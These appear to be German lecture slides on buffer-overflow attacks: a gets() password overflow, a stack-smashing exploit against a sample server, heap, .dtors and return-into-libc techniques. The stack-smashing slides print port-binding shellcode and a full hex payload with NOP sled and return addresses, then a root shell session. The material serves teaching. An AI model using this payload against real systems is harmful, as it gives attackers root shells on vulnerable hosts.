Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else {printf( %s, Falsches Passwort! );} Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) 1
Stack Smashing 1d) Idee: EIP überschreiben und eigenen Shellcode ausführen 2
Stack Smashing 1e) Idee: EIP überschreiben und eigenen Shellcode ausführen Anforderungen an den Exploitstring: 1. String enthält ausführbaren Code 2. Am Ende des Strings steht Adresse mit der EIP überschrieben wird Adresse zeigt auf Code im String 3. Vor dem Code no-ops, da Bufferadresse nur ungefähr abschätzbar Sprung in no-op Bereich 4. Padding-Bytes 3
Anwendung: Serverdienst Servercode: Stack Smashing Beispiel 1-24 25 // uebernimmt Kommunikation mit einem connected client 26 // erwartet einen String und schickt diesen mit einem 'Greetings' davor 27 // zurueck an den Client 28 void communicateserver( int icomsocket ){ 29 char outbuffer[1024]; // ausgehende Daten (dieser Buffer wird fuer den Exploit genutzt) 30 char inbuffer[2048]; // eingehende Daten 31-33 34 // schicke ein Welcome an den gerade verbundenen Client 35 sprintf( outbuffer, "Welcome, awaiting input..." ); 36-46 47 // kopiere den inbuffer (2048 bytes) in den outbuffer (1024 bytes) 48 // hier ist nun ein ueberschreiben des outbuffers moeglich und 49 // dies wird auch vom exploit ausgenutzt 50 sprintf( outbuffer, "Greetings %s\r\n", inbuffer ); 51 4
Normaler Anmeldeprozess: 1 $ > telnet 192.168.0.23 1300 2 Trying 192.168.0.23... 3 Connected to 192.168.0.23. 4 Escape character is '.]'. 5 Welcome, awaiting input...karl 6 Greetings Karl 7 Connection closed by foreign host. Stack Smashing Beispiel 5
Stack Smashing Beispiel Exploit-Programm, port-binding shellcode: 7 char PBShellCode[] = 8 "\x31\xdb" // xor ebx, ebx 9 "\xf7\xe3" // mul ebx 10 "\xb0\x66" // mov al, 102 11-18 19 "\x89\xc7" // mov edi, eax 20 "\x52" // push edx 21 // Die letzen zwei bytes legen fest, 22 // auf welchem Port die Shell geöffnet wird. (Hier 30000) 23 "\x66\x68\x75\x30" // push word 30000 24-62 überschriebene Rücksprungadresse, mehrmals 63 "\x31\xdb\x89\xd8\x40\xcd\x80"; // exit /w return 0 6
Angriff und Serverausgabe: Stack Smashing Beispiel 1 $ >./exploit2 192.168.0.23 1300 4200 0 30000 2 Guessed pointer: 0xbfffef98 3-34 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 (no-ops) 35 90 90 90 90 90 31 db f7 e3 b0 66 53 43 53 43 53 89 e1 4b cd 80 89 (Shellcode) 36 c7 52 66 68 75 30 43 66 53 89 e1 b0 ef f6 d0 50 51 57 89 e1 b0 66 37 cd 80 b0 66 43 43 cd 80 50 50 57 89 e1 43 b0 66 cd 80 89 d9 89 c3 38 b0 3f 49 cd 80 41 e2 f8 51 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 51 39 53 89 e1 b0 f4 f6 d0 cd 80 31 db 89 d8 40 cd 80 90 90 90 90 90 90 40-48 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 49 90 90 90 90 90 90 90 90 90 90 98 ef ff bf 98 ef ff bf 98 ef ff bf 50 98 ef ff bf 98 0 (Rücksprungadresse und NullByte) 7
Stack Smashing Beispiel Exploit: 1 $ > telnet 192.168.0.23 30000 2 Trying 192.168.0.23... 3 Connected to 192.168.0.23. 4 Escape character is '.]'. 5 hostname; 6 target 7 : command not found 8 whoami; 9 root 10 : command not found 11 exit; 12 Connection closed by foreign host. 8
heap-based Exploit 3a) Programm: #include <stdio.h> void main( ) { static char ExBuff[8]; static char importantbyte; importantbyte = 23; printf("important: %x\n", importantbyte ); printf("please enter string: "); gets(exbuff); printf("important now: %x", importantbyte ); } 9
heap-based Exploit 3a) Angriff: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: 41 10
heap-based Exploit 3a) Angriff: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: 41 Zu 1c): Variablen in umgekehrter Reihenfolge anordnen 11
.dtors Attacke 3b).ctors: enthält zusätzliche Funktionsadressen, die vor dem Einstiegspunkt aufgerufen werden (Main-Funktion).dtors: enthält zusätzliche Funktionsadressen, die nach Beendigung der Main-Funktion aufgerufen werden Angriff: Eigene Funktionsadresse in.dtors unterbringen 12
.dtors Attacke 3b) Benötigte Daten: Abstand Buffer zu.dtors Shellcode Adresse des Buffers Tools für Datenbeschaffung: objdump gdb 13
Return into libc 3c) Kein Shellcode nötig Programm bietet Funktionen, die über Bibliotheken geladen werden shared library: libc 14
Return into libc 3c) Kein Shellcode nötig Programm bietet Funktionen, die über Bibliotheken geladen werden shared library: libc Anforderungen an einen Angriff: Adressen der Funktionen besorgen aus kompilierten Dateien (ldd, nm) z. B. system() benutzen, um beliebiges Programm zu starten 15